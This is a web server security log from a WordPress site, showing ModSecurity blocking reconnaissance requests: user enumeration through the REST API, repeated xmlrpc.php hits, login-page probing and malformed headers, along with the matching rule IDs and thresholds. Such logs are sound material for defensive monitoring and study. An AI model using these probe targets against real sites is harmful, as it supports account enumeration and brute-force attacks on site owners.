[Mon May 11 14:28:14.457864 2026] [:error] [pid 58750:tid 58753] [client 141.94.27.49:34684] [client 141.94.27.49] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agF2_jBVaNG3wJtPBU-LLwAAAUE"]
[Mon May 11 17:20:41.062878 2026] [ssl:error] [pid 4685:tid 4709] [client 184.33.139.132:58806] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon May 11 17:43:49.859757 2026] [:error] [pid 58615:tid 58642] [client 170.106.197.109:53242] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agGk1VK28yH055J8TSrR3wAAABc"]
[Mon May 11 20:15:54.835845 2026] [:error] [pid 4645:tid 4665] [client 3.140.188.14:55425] [client 3.140.188.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.140.188.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agHIeny4dxn8-Cx5vOW31QAAAFE"]
[Mon May 11 21:12:17.528268 2026] [:error] [pid 4645:tid 4652] [client 43.166.255.102:47988] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agHVsXy4dxn8-Cx5vOXCZAAAAEQ"]
[Mon May 11 23:13:17.235134 2026] [:error] [pid 4645:tid 4656] [client 43.134.186.61:39216] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agHyDXy4dxn8-Cx5vOXWGAAAAEg"]
[Tue May 12 00:09:55.584340 2026] [:error] [pid 4685:tid 4688] [client 178.128.221.255:57991] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_U3wrjbU4NZilCZ8u-AAAAQA"]
[Tue May 12 00:09:58.345645 2026] [:error] [pid 4685:tid 4690] [client 178.128.221.255:57991] [client 178.128.221.255] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agH_VnwrjbU4NZilCZ8vAAAAAQI"]
[Tue May 12 00:09:58.434139 2026] [:error] [pid 4685:tid 4695] [client 178.128.221.255:57991] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_VnwrjbU4NZilCZ8vAQAAAQc"]
[Tue May 12 00:09:58.435705 2026] [:error] [pid 4685:tid 4695] [client 178.128.221.255:57991] [client 178.128.221.255] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_VnwrjbU4NZilCZ8vAQAAAQc"]
[Tue May 12 00:09:58.436834 2026] [:error] [pid 4685:tid 4695] [client 178.128.221.255:57991] [client 178.128.221.255] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||vetstars.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_VnwrjbU4NZilCZ8vAQAAAQc"]
[Tue May 12 00:09:59.784362 2026] [:error] [pid 58677:tid 58700] [client 178.128.221.255:59308] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_VxasRhyteIXf1RWDWQAAAIw"]
[Tue May 12 00:09:59.785905 2026] [:error] [pid 58677:tid 58700] [client 178.128.221.255:59308] [client 178.128.221.255] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_VxasRhyteIXf1RWDWQAAAIw"]
[Tue May 12 00:09:59.787128 2026] [:error] [pid 58677:tid 58700] [client 178.128.221.255:59308] [client 178.128.221.255] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||vetstars.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_VxasRhyteIXf1RWDWQAAAIw"]
[Tue May 12 00:10:01.034417 2026] [:error] [pid 4685:tid 4689] [client 178.128.221.255:59413] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_WXwrjbU4NZilCZ8vAgAAAQE"]
[Tue May 12 00:10:02.340543 2026] [:error] [pid 58677:tid 58705] [client 178.128.221.255:59508] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_WhasRhyteIXf1RWDWwAAAJE"]
[Tue May 12 00:10:03.614377 2026] [:error] [pid 58677:tid 58702] [client 178.128.221.255:59598] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_WxasRhyteIXf1RWDXQAAAI4"]
[Tue May 12 00:10:03.614554 2026] [:error] [pid 58677:tid 58702] [client 178.128.221.255:59598] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_WxasRhyteIXf1RWDXQAAAI4"]
[Tue May 12 00:10:03.966865 2026] [:error] [pid 4685:tid 4688] [client 178.128.221.255:59629] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_W3wrjbU4NZilCZ8vBQAAAQA"]
[Tue May 12 00:10:03.967006 2026] [:error] [pid 4685:tid 4688] [client 178.128.221.255:59629] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 7"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_W3wrjbU4NZilCZ8vBQAAAQA"]
[Tue May 12 00:10:04.322158 2026] [:error] [pid 58677:tid 58710] [client 178.128.221.255:59653] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XBasRhyteIXf1RWDXgAAAJY"]
[Tue May 12 00:10:04.322365 2026] [:error] [pid 58677:tid 58710] [client 178.128.221.255:59653] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 8"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XBasRhyteIXf1RWDXgAAAJY"]
[Tue May 12 00:10:04.681638 2026] [:error] [pid 4685:tid 4711] [client 178.128.221.255:59686] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XHwrjbU4NZilCZ8vBwAAARc"]
[Tue May 12 00:10:04.681778 2026] [:error] [pid 4685:tid 4711] [client 178.128.221.255:59686] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 9"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XHwrjbU4NZilCZ8vBwAAARc"]
[Tue May 12 00:10:05.049006 2026] [:error] [pid 58615:tid 58635] [client 178.128.221.255:59712] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XVK28yH055J8TSr4-AAAABA"]
[Tue May 12 00:10:05.049197 2026] [:error] [pid 58615:tid 58635] [client 178.128.221.255:59712] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 10"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XVK28yH055J8TSr4-AAAABA"]
[Tue May 12 00:10:05.405896 2026] [:error] [pid 58750:tid 58763] [client 178.128.221.255:59741] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XTBVaNG3wJtPBU_DTAAAAUs"]
[Tue May 12 00:10:05.406074 2026] [:error] [pid 58750:tid 58763] [client 178.128.221.255:59741] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 11"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XTBVaNG3wJtPBU_DTAAAAUs"]
[Tue May 12 00:10:05.775081 2026] [:error] [pid 4685:tid 4703] [client 178.128.221.255:59761] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XXwrjbU4NZilCZ8vCAAAAQ8"]
[Tue May 12 00:10:05.775322 2026] [:error] [pid 4685:tid 4703] [client 178.128.221.255:59761] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 12"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XXwrjbU4NZilCZ8vCAAAAQ8"]
[Tue May 12 00:10:06.162411 2026] [:error] [pid 58616:tid 58651] [client 178.128.221.255:59789] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XtnsbeF5ioCAecj9MgAAAMU"]
[Tue May 12 00:10:06.162591 2026] [:error] [pid 58616:tid 58651] [client 178.128.221.255:59789] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 13"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XtnsbeF5ioCAecj9MgAAAMU"]
[Tue May 12 00:10:06.517595 2026] [:error] [pid 4685:tid 4691] [client 178.128.221.255:59818] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XnwrjbU4NZilCZ8vCQAAAQM"]
[Tue May 12 00:10:06.517751 2026] [:error] [pid 4685:tid 4691] [client 178.128.221.255:59818] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 14"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XnwrjbU4NZilCZ8vCQAAAQM"]
[Tue May 12 00:10:06.884624 2026] [:error] [pid 4685:tid 4704] [client 178.128.221.255:59838] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XnwrjbU4NZilCZ8vCgAAARA"]
[Tue May 12 00:10:06.884749 2026] [:error] [pid 4685:tid 4704] [client 178.128.221.255:59838] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 15"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_XnwrjbU4NZilCZ8vCgAAARA"]
[Tue May 12 00:10:07.244667 2026] [:error] [pid 4685:tid 4693] [client 178.128.221.255:59867] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_X3wrjbU4NZilCZ8vCwAAAQU"]
[Tue May 12 00:10:07.244823 2026] [:error] [pid 4685:tid 4693] [client 178.128.221.255:59867] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 16"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_X3wrjbU4NZilCZ8vCwAAAQU"]
[Tue May 12 00:10:07.600451 2026] [:error] [pid 4645:tid 4659] [client 178.128.221.255:59886] [client 178.128.221.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.221.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_X3y4dxn8-Cx5vOXdCwAAAEs"]
[Tue May 12 00:10:07.600632 2026] [:error] [pid 4645:tid 4659] [client 178.128.221.255:59886] [client 178.128.221.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.221.255, counter = 17"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agH_X3y4dxn8-Cx5vOXdCwAAAEs"]
[Tue May 12 01:29:05.502909 2026] [:error] [pid 4685:tid 4698] [client 167.99.140.132:58456] [client 167.99.140.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.140.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agIR4XwrjbU4NZilCZ8_7QAAAQo"]
[Tue May 12 01:29:09.507319 2026] [:error] [pid 4685:tid 4702] [client 167.99.140.132:58456] [client 167.99.140.132] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agIR5XwrjbU4NZilCZ8_8AAAAQ4"]
[Tue May 12 01:29:09.804143 2026] [:error] [pid 4685:tid 4696] [client 167.99.140.132:58456] [client 167.99.140.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.140.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agIR5XwrjbU4NZilCZ8_8QAAAQg"]
[Tue May 12 01:29:14.846956 2026] [:error] [pid 4685:tid 4692] [client 167.99.140.132:54795] [client 167.99.140.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.140.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agIR6nwrjbU4NZilCZ8_-gAAAQQ"]
[Tue May 12 01:29:17.035085 2026] [:error] [pid 58677:tid 58688] [client 167.99.140.132:49974] [client 167.99.140.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.140.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agIR7RasRhyteIXf1RWMkwAAAIA"]
[Tue May 12 01:29:19.176727 2026] [:error] [pid 58616:tid 58664] [client 167.99.140.132:56370] [client 167.99.140.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.140.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agIR79nsbeF5ioCAecgDKwAAANI"]
[Tue May 12 02:15:15.220546 2026] [:error] [pid 58615:tid 58622] [client 43.128.89.111:46998] [client 43.128.89.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agIcs1K28yH055J8TSoE4QAAAAM"]
[Tue May 12 04:53:17.735280 2026] [:error] [pid 55559:tid 55632] [client 43.135.144.81:43324] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agJBvdj0hVMLJAOI_fw4cwAAAQ0"]
[Tue May 12 07:33:12.083645 2026] [:error] [pid 39958:tid 40035] [client 43.153.71.132:49470] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agJnOOVI9FVDxXB2XxgzewAAAJA"]
[Tue May 12 09:53:03.350245 2026] [:error] [pid 42143:tid 42153] [client 43.159.62.163:40048] [client 43.159.62.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agKH_0S2WmK92iCO2L2H6wAAAUY"]
[Tue May 12 10:13:42.092348 2026] [autoindex:error] [pid 39957:tid 40006] [client 80.241.214.49:57736] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 12 11:51:27.138558 2026] [:error] [pid 39957:tid 40006] [client 38.95.35.74:37560] [client 38.95.35.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.95.35.74, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agKjv-AfHHyq0DBh5BIr0wAAAE4"]
[Tue May 12 11:51:31.248143 2026] [:error] [pid 39957:tid 40010] [client 49.13.171.11:36230] [client 49.13.171.11] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agKjw-AfHHyq0DBh5BIr2gAAAFI"]
[Tue May 12 11:52:22.897114 2026] [:error] [pid 42143:tid 42163] [client 185.143.102.178:44550] [client 185.143.102.178] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agKj9kS2WmK92iCO2L2qTAAAAVA"]
